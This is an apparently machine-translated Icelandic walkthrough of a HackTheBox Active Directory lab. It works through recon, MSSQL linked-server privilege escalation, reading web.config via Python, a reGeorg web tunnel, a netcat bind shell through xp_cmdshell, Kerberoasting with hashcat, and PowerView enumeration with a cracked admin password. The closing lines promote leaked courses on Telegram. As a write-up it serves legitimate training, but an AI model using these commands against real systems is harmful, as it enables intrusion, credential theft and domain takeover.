HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Í þessari grein munum við greina yfirferð ekki bara vélar, heldur heillar lítillar rannsóknarstofu frá síðunni HackTheBox.

Eins og fram kemur í lýsingunni er POO hannað til að prófa færni á öllum stigum árása í litlu Active Directory umhverfi. Markmiðið er að skerða aðgengilegan gestgjafa, auka réttindi og að lokum skerða allt lénið á meðan safnað er 5 fánum.

Tenging við rannsóknarstofuna er í gegnum VPN. Mælt er með því að tengjast ekki úr vinnutölvu eða frá hýsingaraðila þar sem gögn eru mikilvæg fyrir þig þar sem þú lendir á einkaneti með fólki sem kann eitthvað á sviði upplýsingaöryggis :)

skipulagsupplýsingar
Svo að þú getir fundið út um nýjar greinar, hugbúnað og aðrar upplýsingar, bjó ég til Rás símskeytis и hóp til að ræða öll mál á svæði IIKB. Einnig persónulegar beiðnir þínar, spurningar, tillögur og tillögur Ég skal kíkja og svara öllum..

Allar upplýsingar eru eingöngu veittar í fræðsluskyni. Höfundur þessa skjals tekur enga ábyrgð á tjóni sem verður fyrir neinum vegna notkunar þeirrar þekkingar og aðferða sem aflað er við að kynna sér þetta skjal.

intro

Þessi endirleikur samanstendur af tveimur vélum og inniheldur 5 fána.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Lýsing og heimilisfang fyrir tiltækan gestgjafa er einnig gefin upp.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Byrjum!

Recon fáni

Þessi vél er með IP töluna 10.13.38.11, sem ég bæti við /etc/hosts.
10.13.38.11 poo.htb

Fyrst af öllu, skanna við opnar hafnir. Þar sem að skanna allar portar með nmap tekur langan tíma, mun ég fyrst gera þetta með masscan. Við skönnum öll TCP og UDP tengi frá tun0 viðmótinu á hraðanum 500 pakka á sekúndu.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Nú, til að fá ítarlegri upplýsingar um þjónustuna sem keyra á höfnunum, skulum við keyra skönnun með -A valkostinum.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Þannig að við höfum IIS og MSSQL þjónustu. Í þessu tilfelli munum við komast að raunverulegu DNS nafni lénsins og tölvunnar. Á vefþjóninum tekur á móti okkur heimasíða IIS.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við skulum fara í gegnum möppurnar. Ég nota gobuster í þetta. Í breytunum tilgreinum við fjölda þráða 128 (-t), URL (-u), orðabók (-w) og viðbætur sem vekja áhuga okkar (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Þetta veitir okkur HTTP auðkenningu fyrir /admin skrána, auk aðgengilegrar .DS_Store skrá fyrir skrifborðsþjónustu. .DS_Store eru skrár sem geyma sérsniðnar stillingar fyrir möppu, svo sem lista yfir skrár, staðsetningar tákna og valda bakgrunnsmynd. Slík skrá gæti endað í vefþjónaskrá vefhönnuða. Þannig fáum við upplýsingar um innihald skrárinnar. Fyrir þetta geturðu notað DS_Store skriðar.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við fáum innihald möppunnar. Það áhugaverðasta hér er /dev skráin, þaðan sem við getum skoðað heimildir og db skrár í tveimur greinum. En við getum notað fyrstu 6 stafina í skráar- og möppunöfnum ef þjónustan er viðkvæm fyrir IIS ShortName. Þú getur athugað þetta varnarleysi með því að nota IIS skammnafnaskanni.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og við finnum eina textaskrá sem byrjar á „poo_co“. Ég vissi ekki hvað ég á að gera næst, ég valdi einfaldlega öll orðin sem byrja á „co“ úr skráarorðabókinni.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Og við munum redda því með wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og við finnum rétta orðið! Við skoðum þessa skrá, vistum skilríkin (miðað við DBNAME færibreytuna eru þau frá MSSQL).

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við gefum upp fánann og förum 20%.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Ha fáni

Við tengjumst MSSQL, ég nota DBeaver.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við finnum ekkert áhugavert í þessum gagnagrunni, við skulum búa til SQL ritstjóra og athuga hvaða notendur það eru.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við erum með tvo notendur. Við skulum athuga forréttindi okkar.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Það eru því engin forréttindi. Við skulum skoða tengda netþjóna, ég skrifaði um þessa tækni í smáatriðum hér.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Svona finnum við annan SQL Server. Prófum framkvæmd skipana á þessum netþjóni með því að nota openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og við getum jafnvel smíðað fyrirspurnartré.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Málið er að þegar við gerum beiðni til tengds netþjóns er beiðnin framkvæmd í samhengi við annan notanda! Við skulum sjá í samhengi við hvaða notanda við erum að vinna á tengdum netþjóni.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Nú skulum við sjá í hvaða samhengi beiðni er gerð frá tengdum netþjóni við okkar!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Svo það er DBO samhengið sem ætti að hafa öll forréttindi. Við skulum athuga réttindin ef um beiðni er að ræða frá tengdum netþjóni.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Eins og þú sérð höfum við öll forréttindi! Við skulum búa til okkar eigin stjórnanda svona. En þeir leyfa það ekki í gegnum openquery, við skulum gera það í gegnum EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Og nú tengjumst við skilríkjum nýja notandans, við fylgjumst með nýja fánagagnagrunninum.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við afhendum þennan fána og höldum áfram.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

BackTrack fáni

Við skulum fá skel með MSSQL, ég nota mssqlclient úr impacket pakkanum.

mssqlclient.py ralf:[email protected] -db POO_PUBLIC

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við þurfum að fá lykilorð og það fyrsta sem við höfum þegar rekist á er vefsíða. Þannig þurfum við stillingar á vefþjóni (það er ekki hægt að skilja eftir þægilega skel, greinilega er eldveggurinn í gangi).

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

En aðgangi er meinaður. Þó að við getum lesið skrána frá MSSQL, þurfum við bara að vita hvaða forritunarmál eru stillt. Og í MSSQL skránni komumst við að því að Python er til.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Þá er ekkert vandamál að lesa web.config skrána.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Farðu í /admin og taktu fánann með þeim skilríkjum sem fundust.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Fáni fótfestu

Reyndar eru nokkur óþægindi af því að nota eldvegg, en þegar við skoðum netstillingarnar sjáum við að IPv6 er líka notað!

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Bætum þessu heimilisfangi við /etc/hosts.
dead:babe::1001 poo6.htb
Við skulum skanna gestgjafann aftur, en með því að nota IPv6 samskiptareglur.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og WinRM þjónustan er fáanleg yfir IPv6. Tengjumst skilríkjunum sem fundust.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Það er fáni á skjáborðinu, við afhendum það.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

P00ned fáni

Eftir að hafa stundað könnun á gestgjafanum með því að nota vinbaunir Við finnum ekkert sérstakt. Þá var ákveðið að leita að skilríkjum aftur (ég skrifaði líka um þetta efni grein). En ég gat ekki fengið öll SPN úr kerfinu í gegnum WinRM.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við skulum keyra skipunina í gegnum MSSQL.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Með því að nota þessa aðferð fáum við SPN notenda p00_hr og p00_adm, sem þýðir að þeir eru viðkvæmir fyrir árás eins og Kerberoasting. Í stuttu máli, við getum fengið lykilorðsþurrku þeirra.

Fyrst þarftu að fá stöðuga skel sem MSSQL notandi. En þar sem aðgangur okkar er takmarkaður höfum við samskipti við gestgjafann aðeins í gegnum höfn 80 og 1433. En það er hægt að leggja umferð í gegnum höfn 80! Fyrir þetta munum við nota eftirfarandi umsókn. Við skulum hlaða upp skránni tunnel.aspx í heimamöppu vefþjónsins - C:inetpubwwwroot.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

En þegar við reynum að nálgast það fáum við villu 404. Þetta þýðir að *.aspx skrár eru ekki keyrðar. Til þess að hægt sé að keyra skrár með þessar viðbætur skaltu setja upp ASP.NET 4.5 sem hér segir.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og núna, þegar við komum inn á tunnel.aspx, fáum við svar um að allt sé tilbúið.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við skulum ræsa biðlarahluta forritsins, sem mun miðla umferð. Við munum senda alla umferð frá höfn 5432 á netþjóninn.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og við notum proxychains til að senda umferð um hvaða forrit sem er í gegnum proxy okkar. Bætum þessum proxy við stillingarskrána /etc/proxychains.conf.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Nú skulum við hlaða upp forritinu á netþjóninn netköttur, sem við munum búa til stöðuga bindiskel og handrit Kalla-Kerberoast, sem við munum framkvæma Kerberoasting árás með.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Nú ræsum við hlustandann í gegnum MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og við tengjumst í gegnum umboðið okkar.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og við skulum fá kjötkássa.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Næst þarftu að endurtaka þessa kjötkássa. Þar sem rockyou orðabókin innihélt ekki þessi lykilorð, notaði ég ALLAR lykilorðabækur sem gefnar eru upp í Seclists. Fyrir leitina notum við hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Og við finnum bæði lykilorðin, það fyrsta í orðabókinni dutch_passwordlist.txt, og það síðara í Keyboard-Combinations.txt.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og svo við höfum þrjá notendur, við skulum fara í lénsstýringuna. Fyrst finnum við heimilisfangið hans.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Frábært, við fundum út IP tölu lénsstýringarinnar. Við skulum komast að öllum notendum lénsins, sem og hver þeirra er stjórnandi. Til að hlaða niður handritinu til að fá upplýsingar PowerView.ps1. Síðan munum við tengjast með því að nota evil-winrm, tilgreina möppuna með handritinu í -s færibreytunni. Og þá munum við bara hlaða PowerView handritinu.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Nú höfum við aðgang að öllum aðgerðum þess. p00_adm notandinn lítur út eins og forréttindanotandi, svo við munum vinna í samhengi hans. Við skulum búa til PSCcredential hlut fyrir þennan notanda.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nú verða allar Powershell skipanir þar sem við tilgreinum Creds keyrðar sem p00_adm. Sýnum lista yfir notendur og AdminCount eigindina.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Og svo, notandi okkar er virkilega forréttinda. Sjáum í hvaða hópum hann er.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við staðfestum að lokum að notandinn er lénsstjóri. Þetta gefur honum rétt til að skrá sig inn á lénsstýringuna fjarstýrt. Við skulum reyna að skrá okkur inn í gegnum WinRM með göngunum okkar. Ég var ruglaður af villunum sem reGeorg framleiddi þegar ég notaði evil-winrm.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Þá skulum við nota annan, auðveldari, handrit til að tengjast WinRM. Við skulum opna og breyta tengingarbreytum.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við reynum að tengjast og erum í kerfinu.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

En það er enginn fáni. Horfðu síðan á notandann og athugaðu skjáborðin.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Við finnum fánann á mr3ks og rannsóknarstofan er 100% búin.

HackTheBoxendgame. Yfirferð rannsóknarstofu Professional Offensive Operations. Pentest Active Directory

Það er allt og sumt. Sem endurgjöf, vinsamlegast tjáðu þig um hvort þú hafir lært eitthvað nýtt af þessari grein og hvort hún hafi verið gagnleg fyrir þig.

Þú getur gengið til liðs við okkur kl Telegram. Þar er að finna áhugavert efni, leka námskeið, auk hugbúnaðar. Söfnum samfélagi þar sem það verður fólk sem skilur mörg svið upplýsingatækni, þá getum við alltaf hjálpað hvert öðru í hvaða upplýsingatækni og upplýsingaöryggismálum sem er.

Heimild: www.habr.com

Bæta við athugasemd